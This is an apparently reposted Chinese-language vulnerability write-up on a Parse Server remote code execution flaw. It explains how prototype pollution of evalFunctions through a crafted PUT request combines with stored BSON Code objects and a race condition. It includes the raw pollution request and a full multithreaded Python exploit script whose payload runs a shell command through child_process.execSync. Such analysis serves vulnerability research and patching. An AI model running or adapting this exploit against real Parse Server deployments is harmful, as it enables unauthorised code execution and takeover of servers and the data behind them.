扫码领资料
获黑客教程
免费&进群
Parse Server 用来解析并存储JSON对象的平台,可以作为express中间件或者Web Server 独立运行。云上应该很多业务拿这个SDK搞Serverless
根据公告,只有部分版本收到影响,且漏洞需要已知APPLICATION_ID
(通常存储在配置文件或环境变量)
复现的话推荐使用官方安装方式,笔者本地[email protected]"">[email protected]
一个简单保存对象到后端Mongo数据库的例子如下
Parse-server
为了防止用户传入一些恶意的JSON属性值做了一些限制,先来看一下。定位到lib/RestWrite.js#79
,在创建对象解析时有默认黑名单requestKeywordDenylist
限制
当用户传递的对象字符串不满足requestKeywordDenylist
的检查时会被程序抛出异常
同时对传入的外层对象进行属性名的正则判断,不允许_
开头的字符串,比如_bsontype
这样的字段
首先我们通过commit来看,作者增加createHandler
函数代码功能,对HTTP请求参数metadata
、tags
进行requestKeywordDenylist
检查,同上文正常创建Object的安全检查保持一直。createHandler
是parse/files/:filename
的路由函数
再来看作者为了测试修补写的check-demo,应该能猜出上图的metadata
参数就对应下图中obj
这样的对象
简单阅读parse-server对http参数req.fileData的赋值,不难构造出这样的POST请求
发送请求后会在mongodb
数据库的fs.files
集合中生成下图所示的数据项,metadata
字段为用户传递的POST参数,这些数据都经过BSON序列化处理
当我们通过/parse/files/exampleAppId/metadata/1ad79f676c84e1cdffbe37a8e650c469_RCE1.json
端点访问parse-server
时,其会去mongodb
中取出我们前文存储的Object序列化数据
既然有序列化存储,必然就有反序列化处理。从node处理mongodb返回结果的代码node_modules/bson/lib/bson/parser/deserializer.js
中,node获取BSON序列化的数据项并对其进行deserializeObject
反序列化函数的处理,整个过程是递归deserializeObject
的。
若上图中evalFunctions
不为空则步入isolateEval
函数,对functionString
参数进行任意代码执行
那参数functionString
如何生成呢?这和序列化的输入有关。
假如用户需要向mongodb
数据集的某列中添加Object
,node
会先检查Object
是否存在_bsontype
属性,再对不同类型的_bsontype
进行序列化数据生成,比如定义标识符、索引……这点我们可以结合下图serializeCode
函数来看,那么functionString
就对应了_bsontype
为Code
时的序列化数据
也就是说,攻击者要能够对mongodb数据集插入可控的对象,并指定_bsontype
字段,同时也要让程序反序列化这个BSON数据,前文提到的/parse/files/:filename
路由就可以插入可控对象metadata
,/parse/files/metadata/:filename
能够获取并反序列化这个对象,完全满足需求。剩下的工作就是找到一个原型链污染来满足evalFunctions
为true
的条件。
src/Adapters/Storage/Mongo/MongoTransform.js
代码中transformUpdate
函数用来更新用户http请求传递的json对象到mongodb
中
const transformUpdate = (className, restUpdate, parseFormatSchema) => {
const mongoUpdate = {};
....
var out = transformKeyValueForUpdate(
className,
restKey,
restUpdate[restKey],
parseFormatSchema
);
if (typeof out.value === 'object' && out.value !== null && out.value.__op) {
mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};
mongoUpdate[out.value.__op][out.key] = out.value.arg;
} else {
mongoUpdate['$set'] = mongoUpdate['$set'] || {};
mongoUpdate['$set'][out.key] = out.value;
}
}
return mongoUpdate;
}
restKey
和restUpdate
参数是用户的POST输入,out.value
在经过transformKeyValueForUpdate
函数处理后能够被用户部分可控
如果我们要达到前文(0x01部分)的污染利用,需要构造如下的条件
out.value._op = _proto__
out.key = evalFunctions
out.value.arg = true
然而程序内函数getObjectType
严格检查了对象传递的键名,不允许__op
键存在白名单以外的键值
继续深追transformKeyValueForUpdate
这个生成out对象的函数,在第#108
行调用了transformTopLevelAtom
函数,用来将传递的对象进行Toplevel
处理。换句话说就是当用户传递的对象成员包含其他对象时,满足Atom类型的判断后,其他对象会被提升至Toplevel
步入transformTopLevelAtom
不难发现它实现的逻辑是判断该JSON对象属于哪类JSONCoder,而判别的依据xxCoder.isValidJSON
的逻辑更简单,它完全信任用户传递的对象类型__type
字段。
function transformTopLevelAtom(atom, field) {
if (atom.__type == 'Pointer') {
return `${atom.className}$${atom.objectId}`;
}
if (DateCoder.isValidJSON(atom)) {
return DateCoder.JSONToDatabase(atom);
}
if (BytesCoder.isValidJSON(atom)) {
return BytesCoder.JSONToDatabase(atom);
}
if (GeoPointCoder.isValidJSON(atom)) {
return GeoPointCoder.JSONToDatabase(atom);
}
if (PolygonCoder.isValidJSON(atom)) {
return PolygonCoder.JSONToDatabase(atom);
}
if (FileCoder.isValidJSON(atom)) {
return FileCoder.JSONToDatabase(atom);
}
}
}
isValidJSON(value) {
return typeof value === 'object' && value !== null && value.__type === 'File';
},
JSONToDatabase(json) {
return json.name;
},
我们以FileCoder
为例,若用户传递对象的__type
字段值为File
,那么将返回该对象的name
字段作为新的out.value
,简单发送PUT请求验证
PUT /parse/classes/RCE1/1 HTTP/1.1
Host: 192.168.56.200:1337
X-Parse-Application-Id: exampleAppId
Content-Type: application/json
Content-Length: 103
{
"evalFunctions":{
"__type":"File",
"name":{
"__op":"__proto__",
"arg":true
}
}
}
成功达到我们需要的条件,污染了原型链
我们都知道,原型链污染对NodeJS运行的Server有不可估计的影响,因为我们不知道程序是否在关键的地方遍历了Object
,再执行某些玄学的取值/赋值表达式。那么污染的property很可能会给整个程序带来undefined
等致命的fatal error
,不巧的是BSON序列化数据并发送给Mongodb
进行交互时就存在这样的问题。
node是如何封装发给Mongodb的BSON数据呢?首先建立一个Buffer缓冲区,将所有要发送的JSON对象序列化为BSON数据后塞入Buffer缓冲区。而遍历JSON对象是用in取值实现的,这样就会取到原型链的属性。
接着判断属性值的类型并进行serializeBoolean
、serializeNumber
、serializeString
、serializeDate
、serializeObjectId
等操作,代码逻辑是将属性写入缓冲区,并且在缓冲区对应位置标记该数据类型。
这样序列化后的结果就是将原型链的属性也添加进缓冲区,一并发送给Mongodb
而Mongodb
在执行原语时并不会无视多余字段,所以mongodb
服务端会造成异常,并终止后续数据库操作。设想我们已经污染了原型链的evalFunctions
属性,此时服务端在执行db.collection('fs.files').findOne({id: '639eedaf0ca89ef5a0e4d4ed'})
这样的语句后会爆出下图错误(OperationSessionInfo可能类似每次Client握手的原语对象,具体原因需要看mongoServer代码)
换句话说,如果我们向原型链添加一个属性后,后续的所有mongodb操作都会被服务端阻断,而且这相当于把服务端直接打挂了。可我们拿不到服务端返回的数据就没办法BSON反序列化,看似是个死锁的问题……但没有关系,条件竞争会出手:
1、创建恶意的BSON对象存入mongodb
数据库;
2、多线程发送mongodb
查询请求,期待获得mongodb
返回给我们的bson序列化数据;
3、发送原型链污染请求;
4、恰好某个线程返回了bson
序列化的数据到node
的同时evalFunctions
又被污染导致RCE,在RCE的语句中写入delete Object.prototype.evalFunctions
,清除后续原型链的影响;
import random
import requests
from concurrent.futures import ThreadPoolExecutor, wait
# upload bad BSON data to MongoDB
def upload(host, port, appid, payload):
burp0_url = f"http://{host}:{port}/parse/files/{str(random.randint(1, 100))}"
burp0_headers = {"Cache-Control": "max-age=0", "Content-Type": "application/json"}
burp0_json = {"_ApplicationId": appid, "base64": "hpdoger", "fileData": {"metadata": {
"obj": {"_bsontype": "Code",
"code": payload}}}}
try:
resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json).json()
return resp["url"]
except Exception as e:
print(e)
return None
# prototype pollution
def pollution(host, port, appid):
burp0_url = f"http://{host}:{port}/parse/classes/RCE1/{str(random.randint(1, 100))}"
burp0_headers = {"X-Parse-Application-Id": appid, "Content-Type": "application/json"}
burp0_json = {"evalFunctions": {"__type": "File", "name": {"__op": "__proto__", "arg": True}}}
requests.put(burp0_url, headers=burp0_headers, json=burp0_json)
# trigger RCE and to be thread competitive
def trigger(appid, url):
burp0_headers = {"X-Parse-Application-Id": appid}
requests.get(url, headers=burp0_headers)
if __name__ == '__main__':
host = "192.168.56.200"
port = "1337"
appid = "exampleAppId"
payload = "1;require('child_process').execSync('touch /tmp/pwned');delete Object.prototype.evalFunctions"
trigger_url = upload(host, port, appid, payload)
assert trigger_url is not None, "upload failed"
# Create a thread pool with 4 worker threads
with ThreadPoolExecutor(max_workers=300) as executor:
# Start the load operations and mark each future with its URL
executor.submit(pollution, host, port, appid)
for _ in range(299):
executor.submit(trigger, appid, trigger_url)
print("[+]current task finished")
默认全局搜索代码段会将node_modules目录排除,即使你搜索整个项目的根目录也不会产生结果,需要右键node_modules目录并将其标记为mark as excluded 即可
原文地址:https://hpdoger.cn/2022/12/19/parse-server漏洞分析 c34843006f3741189cc953e8b35b13e9/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
看到这里了,点个“赞”、“再看”吧
文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!